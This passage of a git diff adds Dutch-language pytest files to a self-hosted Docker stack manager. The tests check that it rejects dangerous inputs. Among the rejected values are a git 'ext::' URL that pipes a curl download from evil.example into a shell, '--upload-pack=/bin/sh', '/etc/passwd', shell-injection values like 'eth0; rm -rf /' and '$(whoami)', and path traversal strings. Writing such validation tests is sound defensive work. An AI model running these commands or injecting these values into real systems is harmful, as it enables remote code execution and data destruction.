assert doc["services"]["web"]["networks"] == {"lan": {"ipv4_address": "10.0.0.5"}}
|
||||
# De database blijft in hetzelfde netwerk zodat web hem kan vinden.
|
||||
assert doc["services"]["db"]["networks"] == ["lan"]
|
||||
assert "ports" not in doc["services"]["db"]
|
||||
|
||||
|
||||
def test_expliciete_service_kan_gekozen_worden():
|
||||
tekst = "services:\n a:\n image: x\n b:\n image: y\n ports: ['1:1']\n"
|
||||
doc = yaml.safe_load(ct.to_dedicated_ip(tekst, "lan", "10.0.0.9", only_service="a"))
|
||||
assert doc["services"]["a"]["networks"] == {"lan": {"ipv4_address": "10.0.0.9"}}
|
||||
assert doc["services"]["b"]["networks"] == ["lan"]
|
||||
|
||||
|
||||
def test_zonder_poorten_krijgt_de_eerste_service_het_ip():
|
||||
doc = yaml.safe_load(ct.to_dedicated_ip(
|
||||
"services:\n solo:\n image: x\n", "lan", "10.0.0.2"))
|
||||
assert doc["services"]["solo"]["networks"] == {"lan": {"ipv4_address": "10.0.0.2"}}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("tekst,fout", [
|
||||
("dit: [is geen: geldige yaml", "geldige YAML"),
|
||||
("version: '3'\n", "geen services"),
|
||||
("- een\n- lijst\n", "mapping"),
|
||||
])
|
||||
def test_foutmeldingen(tekst, fout):
|
||||
with pytest.raises(ct.TransformError) as e:
|
||||
ct.to_dedicated_ip(tekst, "lan", "10.0.0.1")
|
||||
assert fout in str(e.value)
|
||||
|
||||
|
||||
def test_onbekende_service_geeft_fout():
|
||||
with pytest.raises(ct.TransformError):
|
||||
ct.to_dedicated_ip(BASIS, "lan", "10.0.0.1", only_service="bestaat-niet")
|
||||
|
||||
|
||||
def test_published_ports():
|
||||
assert ct.published_ports(BASIS) == ["8222:80"]
|
||||
assert ct.published_ports("services:\n a:\n image: x\n") == []
|
||||
77
tests/test_networks.py
Normal file
77
tests/test_networks.py
Normal file
|
|
@ -0,0 +1,77 @@
|
|||
"""Validatie en IP-toewijzing voor macvlan/ipvlan-netwerken."""
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
|
||||
|
||||
from core import networks
|
||||
|
||||
GELDIG = {"name": "lan", "driver": "macvlan", "parent": "eth0",
|
||||
"subnet": "192.168.1.0/24", "gateway": "192.168.1.1",
|
||||
"ip_range": "192.168.1.240/28"}
|
||||
|
||||
|
||||
def test_geldige_definitie():
|
||||
assert networks.validate(GELDIG) == ""
|
||||
|
||||
|
||||
@pytest.mark.parametrize("wijziging,fragment", [
|
||||
({"name": "../boos"}, "netwerknaam"),
|
||||
({"name": ""}, "netwerknaam"),
|
||||
({"driver": "bridge"}, "macvlan"),
|
||||
({"parent": "eth0; rm -rf /"}, "host-interface"),
|
||||
({"subnet": "geen-subnet"}, "subnet"),
|
||||
({"gateway": "10.9.9.1"}, "gateway ligt buiten"),
|
||||
({"gateway": "nogal-fout"}, "gateway-adres"),
|
||||
({"ip_range": "10.9.9.0/24"}, "range ligt buiten"),
|
||||
({"ip_range": "onzin"}, "IP-range"),
|
||||
])
|
||||
def test_ongeldige_definities(wijziging, fragment):
|
||||
net = {**GELDIG, **wijziging}
|
||||
assert fragment in networks.validate(net)
|
||||
|
||||
|
||||
def test_next_free_ip_respecteert_range_en_gateway(monkeypatch):
|
||||
monkeypatch.setattr(networks, "used_ips", lambda naam: set())
|
||||
# .240/28 loopt van .240 t/m .255; .240 is het netwerkadres, dus .241 eerst.
|
||||
assert networks.next_free_ip(GELDIG) == "192.168.1.241"
|
||||
|
||||
|
||||
def test_next_free_ip_slaat_bezette_adressen_over(monkeypatch):
|
||||
monkeypatch.setattr(networks, "used_ips",
|
||||
lambda naam: {"192.168.1.241", "192.168.1.242"})
|
||||
assert networks.next_free_ip(GELDIG) == "192.168.1.243"
|
||||
|
||||
|
||||
def test_next_free_ip_houdt_rekening_met_reserveringen(monkeypatch):
|
||||
monkeypatch.setattr(networks, "used_ips", lambda naam: set())
|
||||
assert networks.next_free_ip(GELDIG, {"192.168.1.241"}) == "192.168.1.242"
|
||||
|
||||
|
||||
def test_next_free_ip_zonder_range_gebruikt_subnet(monkeypatch):
|
||||
monkeypatch.setattr(networks, "used_ips", lambda naam: set())
|
||||
net = {**GELDIG, "ip_range": ""}
|
||||
assert networks.next_free_ip(net) == "192.168.1.2" # .1 is de gateway
|
||||
|
||||
|
||||
def test_next_free_ip_leeg_als_alles_bezet(monkeypatch):
|
||||
bezet = {f"192.168.1.{i}" for i in range(240, 256)}
|
||||
monkeypatch.setattr(networks, "used_ips", lambda naam: bezet)
|
||||
assert networks.next_free_ip(GELDIG) == ""
|
||||
|
||||
|
||||
@pytest.mark.parametrize("ip,verwacht", [
|
||||
("192.168.1.240", True),
|
||||
("192.168.2.1", False),
|
||||
("geen-ip", False),
|
||||
])
|
||||
def test_ip_in_network(ip, verwacht):
|
||||
assert networks.ip_in_network(ip, GELDIG) is verwacht
|
||||
|
||||
|
||||
def test_remove_weigert_ongeldige_naam():
|
||||
ok, msg = networks.remove("../etc")
|
||||
assert ok is False
|
||||
assert "netwerknaam" in msg
|
||||
75
tests/test_paths.py
Normal file
75
tests/test_paths.py
Normal file
|
|
@ -0,0 +1,75 @@
|
|||
"""Padvalidatie: geen enkele door de gebruiker aangeleverde naam mag buiten
|
||||
LIBRARY_DIR of de git-cache kunnen wijzen."""
|
||||
import pytest
|
||||
|
||||
from conftest import login
|
||||
|
||||
|
||||
@pytest.mark.parametrize("naam", [
|
||||
"vaultwarden", "app-1", "mijn_stack", "a.b-c", "X9",
|
||||
])
|
||||
def test_geldige_namen(env, naam):
|
||||
assert env["core"].safe_name(naam) == naam
|
||||
|
||||
|
||||
@pytest.mark.parametrize("naam", [
|
||||
"", "..", ".", "../etc", "a/b", "/absoluut", "a\\b", "-begint-met-streepje",
|
||||
"met spatie", "nul\x00byte", "x" * 65, "a$b", "$(whoami)",
|
||||
])
|
||||
def test_ongeldige_namen(env, naam):
|
||||
assert env["core"].safe_name(naam) is None
|
||||
|
||||
|
||||
def test_install_weigert_traversal_in_instance(client, env):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/store/install",
|
||||
json={"stack": "vaultwarden", "repo_id": "server-up",
|
||||
"instance": "../../ontsnapt"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
assert not (env["tmp"] / "ontsnapt").exists()
|
||||
|
||||
|
||||
def test_install_weigert_traversal_in_stack(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/store/install",
|
||||
json={"stack": "../../../etc", "repo_id": "server-up",
|
||||
"instance": "test"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.get_json()["ok"] is False
|
||||
|
||||
|
||||
def test_preview_weigert_traversal(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/store/preview",
|
||||
json={"stack": "../..", "repo_id": "server-up"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.get_json()["ok"] is False
|
||||
|
||||
|
||||
@pytest.mark.parametrize("route", [
|
||||
"/api/stacks/{}/env", "/api/stacks/{}/compose", "/api/stacks/{}/logs",
|
||||
])
|
||||
def test_stackroutes_weigeren_ongeldige_naam(client, route):
|
||||
login(client)
|
||||
r = client.get(route.format(".."))
|
||||
assert r.status_code == 400
|
||||
|
||||
|
||||
def test_stackactie_weigert_ongeldige_naam(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/stacks/../start", headers={"X-CSRF-Token": csrf})
|
||||
# Werkzeug normaliseert '..' weg; wat er ook overblijft mag nooit 2xx zijn.
|
||||
assert r.status_code >= 400
|
||||
|
||||
|
||||
def test_lege_stacknaam_raakt_de_library_zelf_niet(client, env):
|
||||
"""`lib / ""` resolvet naar de library zelf — verwijderen zou alles wissen."""
|
||||
lib, d = _stack_dir(env, "")
|
||||
assert d is None
|
||||
|
||||
|
||||
def _stack_dir(env, naam):
|
||||
import app as app_module
|
||||
with app_module.app.test_request_context():
|
||||
return app_module._stack_dir(naam)
|
||||
82
tests/test_repo_urls.py
Normal file
82
tests/test_repo_urls.py
Normal file
|
|
@ -0,0 +1,82 @@
|
|||
"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
|
||||
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
|
||||
import pytest
|
||||
|
||||
from conftest import login
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url", [
|
||||
"https://github.com/bes-r/server-up.git",
|
||||
"http://10.0.20.22:3000/bes-r/server-up.git",
|
||||
"ssh://git@example.com/bes-r/server-up.git",
|
||||
"git@github.com:bes-r/server-up.git",
|
||||
])
|
||||
def test_toegestane_urls(env, url):
|
||||
assert env["core"].valid_repo_url(url) is True
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url", [
|
||||
'ext::sh -c "curl evil.example/x.sh | sh"',
|
||||
"file:///etc",
|
||||
"/etc/passwd",
|
||||
"--upload-pack=/bin/sh",
|
||||
"",
|
||||
"https://example.com/repo.git\next::sh -c id",
|
||||
])
|
||||
def test_geweigerde_urls(env, url):
|
||||
assert env["core"].valid_repo_url(url) is False
|
||||
|
||||
|
||||
def test_repo_toevoegen_weigert_ext_transport(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
assert client.get("/api/repos").get_json() is not None
|
||||
|
||||
|
||||
def test_clone_weigert_ext_transport_uit_oude_config(env):
|
||||
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
|
||||
from core import git
|
||||
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
|
||||
assert ok is False
|
||||
assert "niet-toegestane" in msg
|
||||
|
||||
|
||||
def test_repos_endpoint_lekt_geen_token(client, env):
|
||||
csrf = login(client)
|
||||
client.post("/api/repos",
|
||||
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
|
||||
body = client.get("/api/repos").get_data(as_text=True)
|
||||
assert "s3cr3t-token" not in body
|
||||
assert "has_token" in body
|
||||
|
||||
settings = client.get("/api/settings").get_data(as_text=True)
|
||||
assert "s3cr3t-token" not in settings
|
||||
|
||||
|
||||
def test_settings_put_wist_bestaand_token_niet(client, env):
|
||||
csrf = login(client)
|
||||
client.post("/api/repos",
|
||||
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
|
||||
repos = client.get("/api/repos").get_json()
|
||||
client.put("/api/settings", json={"APP_REPOS": repos},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
|
||||
stored = env["core"].load()["APP_REPOS"]
|
||||
mijn = next(r for r in stored if r["id"] == "mijn")
|
||||
assert mijn["token"] == "blijf-staan"
|
||||
|
||||
|
||||
def test_settings_put_kan_auth_niet_overschrijven(client, env):
|
||||
csrf = login(client)
|
||||
client.put("/api/settings",
|
||||
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
import core.auth as auth
|
||||
assert auth.settings()["mode"] == "local"
|
||||
assert "tester" in auth.settings()["users"]
|
||||
82
tests/test_stack_api.py
Normal file
82
tests/test_stack_api.py
Normal file
|
|
@ -0,0 +1,82 @@
|
|||
"""Routes rond stacks: containerbeheer en de netwerkkeuze bij installeren."""
|
||||
from conftest import login
|
||||
|
||||
|
||||
def test_containers_van_onbekende_stack(client):
|
||||
login(client)
|
||||
r = client.get("/api/stacks/bestaatniet/containers")
|
||||
assert r.status_code == 404
|
||||
|
||||
|
||||
def test_containeractie_alleen_binnen_eigen_stack(client):
|
||||
"""De containernaam wordt getoetst aan compose_ps van díé stack, zodat deze
|
||||
route nooit een willekeurige container op de host kan raken."""
|
||||
csrf = login(client)
|
||||
r = client.post("/api/stacks/mijnstack/containers/traefik/stop",
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 404
|
||||
assert "hoort niet bij deze stack" in r.get_json()["msg"]
|
||||
|
||||
|
||||
def test_onbekende_containeractie(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/stacks/mijnstack/containers/web/verwijder",
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
|
||||
|
||||
def test_containerlogs_alleen_binnen_eigen_stack(client):
|
||||
login(client)
|
||||
r = client.get("/api/stacks/mijnstack/containers/vreemde/logs")
|
||||
assert r.status_code == 404
|
||||
|
||||
|
||||
def test_install_weigert_onbekend_netwerk(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/store/install",
|
||||
json={"stack": "vaultwarden", "repo_id": "server-up",
|
||||
"instance": "vw", "network": "bestaatniet"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
assert "niet geconfigureerd" in r.get_json()["msg"]
|
||||
|
||||
|
||||
def test_install_weigert_ip_buiten_subnet(client, env):
|
||||
csrf = login(client)
|
||||
env["core"].patch({"NETWORKS": [{
|
||||
"name": "lan", "driver": "macvlan", "parent": "eth0",
|
||||
"subnet": "192.168.1.0/24", "gateway": "192.168.1.1"}]})
|
||||
r = client.post("/api/store/install",
|
||||
json={"stack": "vaultwarden", "repo_id": "server-up",
|
||||
"instance": "vw", "network": "lan", "ip": "10.9.9.9"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
assert "buiten het subnet" in r.get_json()["msg"]
|
||||
|
||||
|
||||
def test_netwerk_toevoegen_valideert(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/networks",
|
||||
json={"name": "lan", "driver": "macvlan",
|
||||
"parent": "eth0; id", "subnet": "192.168.1.0/24"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
|
||||
|
||||
def test_netwerk_verwijderen_onbekend(client):
|
||||
csrf = login(client)
|
||||
r = client.delete("/api/networks/bestaatniet", headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 404
|
||||
|
||||
|
||||
def test_gereserveerde_ips_worden_gelezen_uit_stacks(client, env):
|
||||
"""Een geïnstalleerde stack houdt zijn adres, ook als hij gestopt is."""
|
||||
import json
|
||||
login(client)
|
||||
stack = env["lib"] / "vaultwarden"
|
||||
stack.mkdir()
|
||||
(stack / ".serverup.json").write_text(json.dumps({"ip": "192.168.1.241"}))
|
||||
import app as app_module
|
||||
with app_module.app.test_request_context():
|
||||
assert "192.168.1.241" in app_module._reserved_ips()
|
||||
assert "192.168.1.241" not in app_module._reserved_ips(exclude_stack="vaultwarden")
|
||||
40
tests/test_updater.py
Normal file
40
tests/test_updater.py
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
"""Semver-vergelijking van de update-check."""
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
|
||||
|
||||
from core import updater
|
||||
|
||||
|
||||
@pytest.mark.parametrize("lager,hoger", [
|
||||
("0.4.6", "0.4.60"), # tweecijferig patchnummer (zie CHANGELOG v0.4.60)
|
||||
("0.4.60", "0.4.61"),
|
||||
("0.4.9", "0.5.0"),
|
||||
("1.0.0-beta1", "1.0.0"), # release wint van pre-release
|
||||
("1.0.0-beta1", "1.0.0-beta2"),
|
||||
("0.9.9", "1.0.0"),
|
||||
])
|
||||
def test_versievolgorde(lager, hoger):
|
||||
assert updater._parse(lager) < updater._parse(hoger)
|
||||
|
||||
|
||||
def test_v_prefix_maakt_niet_uit():
|
||||
assert updater._parse("v1.2.3") == updater._parse("1.2.3")
|
||||
|
||||
|
||||
@pytest.mark.parametrize("waarde", ["", "geen-versie", "1.2", None])
|
||||
def test_onparseerbare_versies(waarde):
|
||||
assert updater._parse(waarde) is None
|
||||
|
||||
|
||||
def test_check_zonder_url_is_uitgeschakeld(monkeypatch, tmp_path):
|
||||
monkeypatch.setenv("SU_CONFIG", str(tmp_path / "config.json"))
|
||||
import core as cfg
|
||||
cfg._path = tmp_path / "config.json"
|
||||
cfg.patch({"UPDATE_API_URL": ""})
|
||||
res = updater.check("0.4.60")
|
||||
assert res["enabled"] is False
|
||||
assert res["update_available"] is False
|
||||
Loading…
Reference in a new issue